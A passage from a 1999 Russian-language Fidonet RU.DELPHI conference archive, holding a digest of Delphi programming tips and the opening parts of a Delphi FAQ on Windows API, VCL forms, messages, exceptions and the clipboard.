пеpеопpеделить обpаботчик события OnCreate: procedure TForm1.FormCreate(Sender: TObject); begin Brush.Style:=bsClear; end; ------------------------------------------------------------------------------ > Как сделать произвольную (непрямоугольную) форму? Win32 (Windows'95 or Windows NT 4.0 or above). Достаточно создать регион нужной формы и вызвать SetWindowRgn - HRGN rgn := CreateEllipticRgn( 10,10,100,100 ); SetWindowRgn( hMyWnd,rgn ); // Вот и будет круглое окно При этом регион этот теперь используется Windows и будет уничтожен при закрытии окна. Вот, например: ........................................................ procedure TForm1.FormCreate(Sender: TObject); const W=36*pi/180; var R,R1,R2: HRgn; X,Y,i:integer; function S(a:integer;R:integer):integer; begin Result:=round(R*sin(W*a)); end; function C(a:integer;R:integer):integer; begin Result:=round(R*cos(W*a)); end; function GetStarReg(X,Y,R:integer):HRGN; var P : array [0..4] of TPoint; begin P[0] := Point(X, Y-R); P[1] := Point(X-S(4,R), Y-C(4,R)); P[2] := Point(X-S(8,R), Y-C(8,R)); P[3] := Point(X-S(2,R), Y-C(2,R)); P[4] := Point(X-S(6,R), Y-C(6,R)); Result := CreatePolygonRgn(P, 5, WINDING); end; begin X:=Width div 2; Y:=Height div 2; R:=GetStarReg(X,Y,100); i:=1; repeat R1:=GetStarReg(X-S(i,120),Y-C(i,110),40); CombineRgn(R,R,R1,RGN_OR); inc(i,2); until i>9; R1:=GetStarReg(X,Y,30); CombineRgn(R,R,R1,RGN_DIFF); R1:=CreateEllipticRgn(3,3,Width-6,Height-6); R2:=CreateEllipticRgn(20,10,Width-20,Height-10); CombineRgn(R1,R1,R2,RGN_DIFF); CombineRgn(R,R,R1,RGN_OR); SetWindowRgn(Handle, R, True); end; ........................................................ ------------------------------------------------------------------------------ > Как создать файлы с уникальными именами? Здесь удобнее всего использовать имя, состоящее из даты и времени, напри- мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную систему счисления, получим искомые восемь символов имени файла. Это хорошо использовать, если программа создает много файлов, которые потом будут ис- пользоваться. Если же нужно создать несколько временных файлов, то лучше воспользоваться фyнкцией GetTempFileName. ------------------------------------------------------------------------------ > Как программно переключать раскладку клавиатуры? LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский ------------------------------------------------------------------------------ > Как сделать невидимой главную форму? Hаписать Application.ShowMainForm:=false в файле пpоекта. ------------------------------------------------------------------------------ > Как запустить создание письма по указанному адресу? > Как запустить браузер по http-адресу? Сначала необходимо написать в разделе uses ShellAPI. E-mail: ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0); Страничку: ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0); ------------------------------------------------------------------------------ > Как рисовать прямо на экране? ........................................................ Procedure DrawOnScreen; Var DC:HDC; DesktopCanvas:TCanvas; begin DC:=GetDC(0); // получили DC экрана try DesktopCanvas:=TCanvas.Create; DesktopCanvas.Handle:=DC; .................. // здесь рисуем на Canvas экрана .................. finally ReleaseDC(0,DC); DesktopCanvas.Free; end; end; ........................................................ ------------------------------------------------------------------------------ > Как увеличить в RichEdit размер редактируемого файла? RichEdit1.Perform(EM_LIMITTEXT, нужный размер , 0); Перед каждым открытием файла это действие необходимо повторять. ------------------------------------------------------------------------------ > В каком порядке происходят события при создании и показе окна? OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint. ------------------------------------------------------------------------------ > Если приложение долго выполняет какой-то цикл, как сделать так, чтобы > остальные приложения не подвисали? 1. Вставить в тело цикла: Application.ProcessMessages 2. Запустить этот цикл как отдельный процесс, используя класс TThread. ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 141 of 341 - 122 + 159 From : Nick Slepchenko 2:5064/12 11 May 99 15:14:00 To : All Subj : [03/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 2) ======================================================================== ------------------------------------------------------------------------------ > Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую > страницу и обратно? CharToOEM/OEMToChar и CharToOEMBuff/OEMToCharBuff. ------------------------------------------------------------------------------ > Как использовать анимированные курсоры в программе? Пример формы, использующей анимированный курсор: ........................................................ procedure TForm1.Button1Click(Sender: TObject); var h : THandle; begin h := LoadImage(0,'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE); if h = 0 then ShowMessage('Cursor not loaded') else begin Screen.Cursors[1] := h; Form1.Cursor := 1; end; end; ........................................................ ------------------------------------------------------------------------------ > Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос > на сохранение? Обрабатывать событие OnCloseQuery ------------------------------------------------------------------------------ > Как выключить/включить звуковое оповещение Windows через PC Speaker? Выключить: SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE); Включить: SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE); ------------------------------------------------------------------------------ > Как скопировать файл? Эта процедура позволяет скопиpовать как весь файл пpи From и Count = 0, так и пpоизвольный его кусок. ........................................................ function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint; var InFS,OutFS: TFileStream; begin InFS := TFileStream.Create( InFile, fmOpenRead ); OutFS := TFileStream.Create( OutFile, fmCreate ); InFS.Seek( From, soFromBeginning ); Result := OutFS.CopyFrom( InFS, Count ); InFS.Free; OutFS.Free; end; ........................................................ ------------------------------------------------------------------------------ > Как инсталлировать на время работы программы свои шрифты? Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом: ........................................................ {$IFDEF WIN32} AddFontResource( PChar( my_font_PathName { AnsiString } ) ); {$ELSE} var ss : array [ 0..255 ] of Char; AddFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Убрать его по окончании работы: ........................................................ {$IFDEF WIN32} RemoveFontResource ( PChar(my_font_PathName) ); {$ELSE} RemoveFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Где my_font_PathName - полный путь к файлу со шрифтом. ------------------------------------------------------------------------------ > Как узнать текущее разрешение экрана? Screen.Width и Screen.Height ------------------------------------------------------------------------------ > Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- > зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился > в exe как некий кусок кода. А когда надо будет, записать его обратно в > gif-файл без изменений, выковырнув из exe? Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Hужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1". Если RxLib нет, то нужно создать файл описания ресурсов: === Begin gifs.rc === mygif rcdata "имя_gif-файла.gif" mygif1 rcdata "RCDATA_1" === End dots.rc === Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res} В своей программе необходимо написать: var rs : TResourceStream; a : Pointer; begin rs:=TResourceStream.Create(hinstance,'RCDATA_1',RT_RCDATA); try GetMem(a,rs.size); rs.Read(a^,rs.size); {Теперь a - динамический указатель на код} { Здесь делается все, что необходимо с кодом, используя указатель a } FreeMem(a); finally rs.Free; end; end; А можно и так, если необходимо записать ресурс в файл: var rs : TResourceStream; fs : TFileStream; begin rs:=TResourceStream.Create(hInstance, 'mygif', RT_RCDATA); fs:=TFileStream.Create('имя_gif-файла.gif', fmCreate); try fs.CopyFrom(rs, rs.Size); finally fs.Free; rs.Free; end; end; ------------------------------------------------------------------------------ > Как программно создать ярлык? ........................................................ uses ShlObj, ComObj, ActiveX; procedure CreateLink(const PathObj, PathLink, Desc, Param: string); var IObject: IUnknown; SLink: IShellLink; PFile: IPersistFile; begin IObject := CreateComObject(CLSID_ShellLink); SLink := IObject as IShellLink; PFile := IObject as IPersistFile; with SLink do begin SetArguments(PChar(Param)); SetDescription(PChar(Desc)); SetPath(PChar(PathObj)); end; PFile.Save(PWChar(WideString(PathLink)), FALSE); end; ........................................................ ------------------------------------------------------------------------------ > Как перетаскивать форму не только за Caption, но и за любое другое место? ........................................................ TForm1 = class(TForm) ... private ... procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest; ... end; ... procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { вызов унаследованного обpаботчика } if M.Result = htClient then { Мышь сидит на окне? } M.Result := htCaption; { Если да - то пусть Windows думает, что } { мышь на caption bar } end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 142 of 341 - 123 + 160 From : Nick Slepchenko 2:5064/12 11 May 99 15:14:00 To : All Subj : [04/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 3) ======================================================================== ------------------------------------------------------------------------------ > Как в TMemo определить номер строки, в которой находится курсор и его > местоположение в строке? ........................................................ var X,Y: LongInt; Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0); X:=Memo1.Parform(EM_LINEINDEX, Y, 0); inc(Y); X:=Memo1.SelStart-X+1; ........................................................ ------------------------------------------------------------------------------ > Как быстро выводить графику? (А то Canvas очень медленно работает). Вот пример заполнения формами точками случайного цвета. ........................................................ type TRGB=record b,g,r:byte; end; ARGB=array [0..1] of TRGB; PARGB=^ARGB; var b:TBitMap; procedure TForm1.FormCreate(sender:TObject); begin b:=TBitMap.Create; b.pixelformat:=pf24bit; b.width:=Clientwidth; b.height:=Clientheight; end; procedure TForm1.Tim1OnTimer(sender:TObject); Var p:PARGB; x,y:integer; begin for y:=0 to b.height-1 do begin p:=b.scanline[y]; for x:=0 to b.width-1 do begin p[x].r:=random(256); p[x].g:=random(256); p[x].b:=random(256); end; end; canvas.draw(0,0,b); end; procedure TForm1.FormDestroy(sender:TObject); begin b.free; end; ........................................................ ------------------------------------------------------------------------------ > Как лучше сделать, если необходимо запустить внешний процесс и подождать, > пока он отработает? ........................................................ procedure TForm1.Button1Click(Sender: TObject); var si:STARTUPINFO; pi:PROCESS_INFORMATION; cmdline:string; begin ZeroMemory(@si,sizeof(si)); si.cb:=SizeOf(si); cmdline:='c:\command.com'; if not CreateProcess( nil, // No module name (use command line). PChar(cmdline), // Command line. nil, // Process handle not inheritable. nil, // Thread handle not inheritable. False, // Set handle inheritance to FALSE. 0, // No creation flags. nil, // Use parent's environment block. nil, // Use parent's starting directory. si, // Pointer to STARTUPINFO structure. pi ) // Pointer to PROCESS_INFORMATION structure. then begin ShowMessage( 'CreateProcess failed.' ); Exit; end; WaitForSingleObject( pi.hProcess, INFINITE ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); ShowMessage('Done !'); end; ........................................................ ------------------------------------------------------------------------------ > Как сохранить содержимое экрана в файл? ........................................................ procedure TForm1.Button1Click(Sender: TObject); var DC: HDC; Canva: TCanvas; B: TBitmap; begin Canva := TCanvas.Create; B := TBitmap.Create; DC := GetDC(0); try Canva.Handle := DC; with Screen do begin B.Width := Width; B.Height := Height; B.Canvas.CopyRect(Rect(0, 0, Width, Height), Canva, Rect(0, 0, Width, Height)); B.SaveToFile('c:\screen.bmp'); end finally ReleaseDC(0, DC); B.Free; Canva.Free end end; ........................................................ ------------------------------------------------------------------------------ > Как пеpемещать фоpму за Label? procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); const SC_DragMove = $F012; { a magic number } begin ReleaseCapture; Form1.perform(WM_SysCommand, SC_DragMove, 0); end; ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 143 of 341 - 125 From : Vladimir Timonin 2:5023/11.44 11 May 99 22:57:00 To : All Subj : FAQ (1/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? ─── Тут начинается файл faq.1 ─── --------------------------------------------------------------------------- Часто задаваемые общие вопросы по Borland Delphi Дата последнего обновления: 17 апреля 1997г. --------------------------------------------------------------------------- Object Pascal и Windows API 1. Как работает информация времени выполнения (RTTI)? 2. Как работает обработка исключительных ситуаций в Delphi? 3. Есть ли простой способ перехватить exception? 4. Delphi используют строки в стиле Pascal или C? 5. Есть ли в Delphi битовые множества? 6. Проблема с числом типа Single в DLL. 7. Как заставить приложение Delphi отвечать на сообщения Windows? 8. Как обработать события от других приложений? 9. Как перехватить сообщения Windows и обработать их перед тем, как выполнится строка Application.Run? 10. Проблема с DragDrop для внешних программ. 11. Как обрабатывать WM_DROPFILES (Drag/Drop)? 12. Как может выделить время CPU другим задачам , подобно "DoEvents" в VB? 13. В каком порядке происходят события при создании и показе окна? 14. UpCase для русского языка. 15. Приложение, написанное на Delphi, не запускается минимизированным. 16. Объясните разницу в помещении uses в секцию interface или implementation. 17. Как спрятать окна MDI Child? 18. Как убрать заголовок у формы MDIChild? 19. Сохранение данных в Clipboard. 20. Что означает Key<>#0 ? 21. Аналог процедуры TP/BP Delay. 22. Каким образом создать форму, которую можно таскать за поле? 23. Как программно спрятать или показать заголовок у формы? 24. Как сделать приложение модальным? 25. Как изменить шрифт у Application.Title (заголовка приложения)? 26. Каким образом (желательно не специфичным для Delphi) узнать, открыто меню или нет? Разное 1. Передача переменной в отчет ReportSmith. 2. Как получить русские буквы в DBD? 3. Как печатать отчеты из приложения Delphi без использования ReportSmith? 4. Как узнать количество точек на дюйм для принтера? 5. Как определить, приложение запущено из под Delphi IDE или как отдельный файл? 6. Что нужно предусмотреть при разработке приложения, которое будет работать при различном разрешении дисплея? 7. Конвертация ICO в BMP. 8. Когда используется свойство Glyph, как узнать, какой цвет прозрачный? 9. Как отобразить bitmap в 256 цветах? 10. Если я хочу рассылать EXE файл, созданный в Delphi, какие еще файлы нужно посылать с ним? Полезные хитрости 1. Может ли редактор текстов в Delphi вырезать и вставлять прямоугольные фрагменты текста? 2. Редактирование файлов SQL в Delphi IDE. 3. Встроенный отладчик/дизассемблер. --------------------------------------------------------------------------- Object Pascal и Windows API --------------------------------------------------------------------------- 1. Как работает информация времени выполнения (RTTI)? Имеются два новых оператора : as и is. as - оператор защищенного преобразования типов (typecasting). Вы можете использовать его, чтобы заставить компилятор преобразовать объект из одного типа в другой, но, если в во время выполнения эти типы окажутся несовместимыми, то вы получите ошибку. Hапример, если вы имеете класс TSport, с потомоками TBasketball и TFootball, вам может потребоваться переменная типа TSport; далее может так случиться, что в программе эта переменная будет фактически содержать экземпляр типа TFootball. Тогда вы можете обратиться к этой переменной (MySport as TFootball) чтобы получить доступ к специфическим свойствам из типа TFootball. Однако, если вы ошиблись и на самом деле это экземпляр типа TBasketball, то при обращении к несуществующим свойствам будет возникать ошибка. Оператор is определяет, принадлежит ли экземпляр объекта к данному классу, либо к классу одного из его предков, и используется для проверки, сработает ли преобразование типов с данным объектом. Если вы имеете переменную MySport типа TSport, и в настоящее время она содержит экземпляр TBasketball, тогда следующие выражения истинны: (MySport is TSport) (MySport is TBasketball) not (MySport is TFootball) Следует иметь ввиду, что компилятор разрешает использовать данные конструкции только для выполнения преобразования типов, связанных родственными отношениями. Так, конструкция (Button1 as TEdit) (переменная Button1 имеет тип TButton) вызовет ошибку компиляции, так как ни при каких условиях не может быть выполнено преобразование типов от TButton к TEdit или наоборот. Комбинация двух операторов может привести к выражению типа следующего : function PlayerGoodness(var MySport: TSport): Integer; begin if (MySport is TBasketball) then Result := (MySport as TBasketball).ReboundShots else if (MySport is TFootball) then Result := (MySport as TFootball).TotalYardage; end; Также, базовый класс TObject имеет набор методов, которые возвращают информацию, созданную компилятором в момент компиляции текста для поддержки RTTI. Hапример, метод TObject.ClassName возвращает имя класса любого объекта, наследованного от TObject. Hапример, TButton.ClassName вернет значение 'TButton'. --------------------------------------------------------------------------- 2. Как работает обработка исключительных ситуаций в Delphi? Основная структура выглядит примерно так: P := New(BigThing); try try Proc1(P); Proc2(P); except Handle(P); raise; end; finally Dispose(P); end; Первая строка распределяет большой блок памяти. Затем, в блоке try, выполняется несколько операторов, каждый из которых может вызвать ошибку, или, другими словами, "вызвать исключительную ситуацию". Если возникает ошибка, оставшаяся часть блока try пропускается, и выполняются блоки except и finally. Если ошибок нет, то после выполнения всех операторов в блоке try выполнится блок finally. В любом случае, блок памяти будет освобожден. Блок try ... finally ловит все, включая Windows GPF или Access Violation. Обратите внимание на вызов raise в блоке try ... except. Он снова вызывает исключительную ситуацию, которая вызовет сообщение об ошибке после того, когда закончится блок finally. Если не вызвать raise, то считается, что вы обработали исключительную ситуацию самостоятельно в пределах блока except. --------------------------------------------------------------------------- 3. Есть ли простой способ перехватить exception? Создайте метод для формы, перехватывающий исключения. Этот метод будет вызываться обработчиком OnException объекта Application. В вашем методе проверьте, тот ли это исключение, что вы ожидаете, например EDatabaseError. Почитайте on-line help для события OnException. Там есть информация, как вызвать собственный метод для события. procedure TForm1.MyExcept(Sender: TObject; E: Exception); begin if E is EDatabaseError then MessageDlg('Поймали exception', mtInformation, [mbOk], 0) { это не то, сделать raise } else raise E; end; procedure TForm1.FormCreate(Sender: TObject); begin Application.OnException := MyExcept; { здесь вы указываете, что событие OnException выполнит ваш метод } end; --------------------------------------------------------------------------- 4. Delphi используют строки в стиле Pascal или C? И те и другие. Delphi имеет два различных набора функций манипулирования строками, один - для PChar; но в Delphi также есть функция MessageDlg, которая принимает строки типа Pascal. [2.0]Delphi 2.0 добавляет так называемые длинные строки (AnsiString), которыми можно манипулировать как обычными строками в Pascal, но они имеют динамически изменяющийся размер и могут быть размером до 4Гбайт. Можно выполнять преобразования от PChar к AnsiString и наоборот. Старый строковый тип теперь называется ShortString. По умолчанию кличевое слово string соответствует типу AnsiString. --------------------------------------------------------------------------- 5. Есть ли в Delphi битовые множества? В явном виде битовых множеств в языке Object Pascal нет. Hо вместо этого можно использовать обычные множества, которые на самом деле и хранятся как битовые. Если множество вам нужно для проверки, установлен ли какой то бит в слове (байте и т.д.) можно попробовать такую конструкцию: type PByteSet = ^TByteSet; TByteSet = set of Byte; var W: Word; ... { если бит 3 в слове W установлен, тогда ... } if 3 in PByteSet(@W)^ then ... ... [2.0]В Delphi 2.0 есть специальный класс TBitSet, который ведет себя как битовое множество.Для Delphi 1.0 вы можете написать такой класс самостоятельно. --------------------------------------------------------------------------- 6. Проблема с числом типа Single в DLL. [Q:]Я написал на C++ DLL, в которой у меня функция использует число типа float, передал из Delphi число типа Single и получил GPF 'Invalid Opcode'. Что неправильно? [A:]Если вы используете числа с плавающей точкой, лучше передавать их не по значению, а по ссылке (указатель в C++). Вероятно DLL написана на MS Visual C++, так как Microsoft и Borland используют разные соглашения о передаче параметров при работе с сопроцессором. В случае Borland C++ и Delphi должны использовать одинаковый способ передачи параметров и значений (через стек сопроцессора). В любом случае вместо Single лучше использовать Double (double или long float в C++), так как вообще говоря, реальный тип, который соответствует типу Single точно не определен и может измениться в будущем. ─── А здесь faq.1 кончается ─── C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! (kern1@chat.ru) * Origin: Место для плюса: [ ] :( (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 144 of 341 - 126 From : Vladimir Timonin 2:5023/11.44 11 May 99 22:59:00 To : All Subj : FAQ (2/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? ─── Тут начинается файл faq.2 ─── 7. Как заставить приложение Delphi отвечать на сообщения Windows? Используем сообщение WM_WININICHANGED в качестве примера. Объявление метода в TForm позволит вам обрабатывать сообщение WM_WININICHANGED: procedure WMWinIniChange(var Message: TMessage); message WM_WININICHANGE; Код в implementation может выглядеть так: procedure TForm1.WMWinIniChange(var Message: TMessage); begin inherited; { ... ваша реакция на событие ... } end; Вызов inherited метода очень важен. Обратите внимание также на то, что для функций, объявленных с директивой message (обработчиков событий Windows) после inherited нет имени наследуемой процедуры, потому что она может быть неизвестна или вообще отсутствовать (в этом случае вы в действительности вызываете процедуру DefaultHandler). --------------------------------------------------------------------------- 8. Как обработать события от других приложений? Попробуйте сделать это следующим образом: type TForm1 = class(TForm) ... private procedure WMNCActivate(var Msg: TMessage); message WM_NCACTIVATE; end; procedure TForm1.WMNCActivate(var Msg: TMessage); begin { здесь обработка принятых событий } end; --------------------------------------------------------------------------- 9. Как перехватить сообщения Windows и обработать их перед тем, как выполнится строка Application.Run? Пример проекта показывает, как получить сообщения Windows в данном случае. Это редкий случай, в большинстве случаев переопределение процедуры Application.OnMessage будет делать то же самое. program Project1; uses Forms, Unit1 in 'UNIT1.PAS' { Form1 }, Messages, WinTypes, WinProcs, {$R *.RES} var OldWndProc: TFarProc; function NewWndProc(hWndAppl: HWnd; Msg, wParam: Word; lParam: Longint): Longint; export; begin { default WndProc return value } Result := 0; { handle messages here; the message number is in Msg } Result := CallWindowProc(OldWndProc, hWndAppl, Msg, wParam, lParam); end; begin Application.CreateForm(TForm1, Form1); OldWndProc := TFarProc(GetWindowLong(Application.Handle, GWL_WNDPROC)); SetWindowLong(Application.Handle, GWL_WNDPROC, Longint(@NewWndProc)); Application.Run; end. --------------------------------------------------------------------------- 10. Проблема с DragDrop для внешних программ. [Q:]Я пишу небольшую программку - "мусорную корзину". В FormCreate вызывается DragAcceptFiles(HANDLE, True). Проблема в том, что когда размер окна восстанавливается и затем минимизируется Drag and Drop перестает работать. Я безуспешно пробовал помещать DragAcceptFiles в разные методы формы. Однако если сделать вызов DragAcceptFiles(Application.Handle, True) в MainForm.Create, то все работает. Как перехватить событие WM_DROPFILES ? [A:]Это можно сделать так: type TMainForm = class(TForm) ... procedure FormCreate(Sender: TObject); private procedure DropFiles(var Msg : TWMDropFiles); message WM_DROPFILES; end; procedure TMainForm.DropFiles(var Msg : TWMDropFiles); begin DragQueryPoint(Msg.Drop, Point); NrOfFiles := DragQueryFile(Msg.Drop, Word(-1), FileName, BufSize); DragQueryFile(Msg.Drop, 0, FileName, BufSize); end; procedure TMainForm.FormCreate(Sender: TObject); begin DragAcceptFiles(Handle, True); end; Подробнее о перехвате событий Windows см. Главу 7 руководства Component Writers Guide. --------------------------------------------------------------------------- 11. Как обрабатывать WM_DROPFILES (Drag/Drop)? Следующий код показывает как обрабатывать это событие. Обрабатываются имена всех "брошенных" файлов. Для загрузки каждого файла вызывается CreateChild(FName). В обработчике OnCreate данной формы вы должны вызвать DragAcceptFiles. type TFrameForm = class(TForm) ... protected procedure WMDropFiles(var Msg: TMessage); message WM_DROPFILES; end; procedure TFrameForm.WMDropFiles(var Msg : TMessage); var I, N, Size: Word; FName: string; HDrop: Word; begin HDrop := Msg.WParam; N := DragQueryFile(HDrop, $FFFF, nil, 0); for I := 0 to (N-1) do begin Size := DragQueryFile(HDrop, I, nil, 0); if Size < 255 then { 255 char. string limit - not really a problem } begin FName[0] := Chr(Size); DragQueryFile(HDrop, I, @FName[1], Size+1); CreateChild(FName); end; end; Msg.Result := 0; inherited; end; --------------------------------------------------------------------------- 12. Как может выделить время CPU другим задачам , подобно "DoEvents" в VB? Эквивалент в Delphi - Application.ProcessMessages. Если вы выполняете долгие вычисления, то вызов данного метода позволит в Win 16 выполняться параллельно другим приложениям, а в Win 32 - корректно перерисовываться вашему приложению. --------------------------------------------------------------------------- 13. В каком порядке происходят события при создании и показе окна? При создании окна обработчики событий выполняются в следующем порядке: * OnCreate * OnShow * OnPaint * OnActivate * OnResize * OnPaint (снова) --------------------------------------------------------------------------- 14. UpCase для русского языка. Данная функция (UpCase) производит преобразование только латинских символов в верхний регистр. Для правильного преобразования необходимо использовать функции Windows API, поскольку именно Windows должна "знать" о кодировке национальных символов. Причем к конфигурации BDE кодровка Windows не имеет никакого отношения - имея английские Windows без русификатора и выставив в BDE кодировку Paradox ANSII Cyrillic нормальных русских букв получить не удастся. А функции для преобразования следующие - OemToAnsi, AnsiToOem, OemToAnsiBuf, AnsiToOemBuf в Win16 (модуль WinProcs) и OemToChar, CharToOem, OemToCharBuf и CharToOemBuf в Win32 (модуль Windows).. --------------------------------------------------------------------------- 15. Приложение, написанное на Delphi, не запускается минимизированным. Проверьте глобальную переменную CmdShow для того чтобы определить, в каком состоянии запускается приложение, и модифицируйте ее как вам необходимо: procedure TForm1.FormCreate(Sender: TObject); begin if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized; end; Hапример, если необходимо запускать приложение либо минимизированным, либо максимизированным, используйте следующий код: procedure TForm1.FormCreate(Sender: TObject); begin if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized else WindowState := wsMaximized; end; --------------------------------------------------------------------------- 16. Объясните разницу в помещении uses в секцию interface или implementation. Секция interface - интерфейсная. Туда попадают объявления констант, типов (в т.ч. и объектов или классов) переменных, процедур и функций. Поэтому для этой части uses должен содержать ссылки на те модули, которые используются для объявлений в этой части. Секция implementation - описание реализации интерфейсной части, здесь в uses должны быть упомянуты те модули, которыми вы пользуетесь для написания кода. Hапример, Вы хотите в модуле пользоваться функциями API Windows, для этого добавьте в объявлении implementation строку uses WinTypes, WinProcs; или uses Windows;. Таким образом, вы явно указываете что данными модулями будете пользоваться только в секции реализации. Конечно, можно упоминать модули только в части interface, но правильная расстановка имен модулей в соответствующем uses гарантирует исключение циклических ссылок, а также улучшает читаемость программы. --------------------------------------------------------------------------- 17. Как спрятать окна MDI Child? [Q:]Я пытаюсь это сделать, выставляя Form1.Visible := False, но это не помогает. [A:]Windows не позволяет прятать окна MDI Child. Поправка by Alexander Kopec (2:454/2.15) IMHO, это TCustomForm не дает пpятать окна MDI Child. В Forms.Pas есть такой код: procedure TCustomForm.VisibleChanging; begin if (FormStyle = fsMDIChild) and Visible then raise EInvalidOperation.Create(SMDIChildNotVisible); end; Если его пpибить, то окна скpываются. Зачем это было нyжно pазpаботчикам - неизвестно. IMHO - сознательное сyжение возможностей компонента. --------------------------------------------------------------------------- 18. Как убрать заголовок у формы MDIChild? [Q:]Как убрать заголовок (Caption) из MDIChild? [A:]Для MDIChild установка свойства BorderStyle := bsNone не убирает заголовок. Это можно сделать так: procedure TMDIChildForm.CreateParams(var Params: TCreateParams); begin inherited CreateParams(Params); Params.Style := Params.Style and (not WS_CAPTION); end; --------------------------------------------------------------------------- 19. Сохранение данных в Clipboard. [Q:]Мне нужно использовать clipboard для сохранения данных в собственном формате и я хочу для этого написать набор процедур ввода/вывода с использованием потоков (streams). Возможно ли создать объект TMemoryStream, эаполнить его и поместить в Clipboard? [A:]Hе только возможно, именно так поступают функции Clipboard.GetComponent и Clipboard.SetComponent. Сначала вы должны зарегистрировать свой собственный формат данных для Clipboard с помощью функции RegisterClipboardFormat: CF_MYFORMAT := RegisterClipboardFormat('My Format Description'); Далее вы должны выполнить шаги: 1. Создать поток (memory stream) и записать туда данные. 2. Создать глобальный буфер в памяти и скопировать поток туда. 3. Вызвать Clipboard.SetAsHandle(), чтобы поместить буфер в Clipboard. Пример: var hBuf: THandle; Bufptr: Pointer; MStream: TMemoryStream; begin MStream := TMemoryStream.Create; try { write your data to the stream } hBuf := GlobalAlloc(GMEM_MOVEABLE, MStream.Size); try BufPtr := GlobalLock(hBuf); try Move(MStream.Memory^, BufPtr^, MStream.Size); Clipboard.SetAsHandle(CF_MYFORMAT, hBuf); finally GlobalUnlock(hBuf); end; except GlobalFree(hBuf); raise; end; finally MStream.Free; end; end; Внимание: не уничтожайте буфер, созданный с GlobalAlloc. Поскольку вы поместили его в Clipboard, это уже дело clipboard'а его уничтожить. Опять же, получая буфер из Clipboard, не уничтожайте этот буфер - просто сделайте копию содержимого. Для обратного получения потока и данных, сделайте что-нибудь вроде этого: var hBuf: THandle; BufPtr: Pointer; MStream: TMemoryStream; begin hBuf := Clipboard.GetAsHandle(CF_MYFORMAT); if hBuf <> 0 then begin BufPtr := GlobalLock(hBuf); if BufPtr <> nil then try MStream := TMemoryStream.Create; try MStream.WriteBuffer(BufPtr^, GlobalSize(hBuf)); MStream.Position := 0; { read your data from the stream } finally MStream.Free; end; finally GlobalUnlock(hBuf); end; end; end; ─── А здесь faq.2 кончается ─── C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! (kern1@chat.ru) * Origin: А баги бегали и нагло шевелили усами... :( (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 145 of 341 - 127 From : Vladimir Timonin 2:5023/11.44 11 May 99 22:59:00 To : All Subj : FAQ (3/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? ─── Тут начинается файл faq.3 ─── 20. Что означает Key<>#0 ? [Q:]В исходном тексте одного из компонентов третьих фирм я увидел строку: if Key <> #0 then inherited KeyPress(#0); В Windows виртуальные коды находятся в диапазоне 1-145 (Dec). Зачем нужна такая проверка? [A:]В соответствии с соглашением Windows код клавиши #0 означает отсутствие реального нажатия. Управление в данную точку программы могло попасть, например вследствие прямого вызова, а не нажатия клавиши или же нажатие уже было обработано предком, вследствие чего код нажатой клавиши был сброшен в 0. --------------------------------------------------------------------------- 21. Аналог процедуры TP/BP Delay. procedure TForm1.Delay(MSecs: Longint); var FirstTick: Longint; begin FirstTick := GetTickCount; repeat 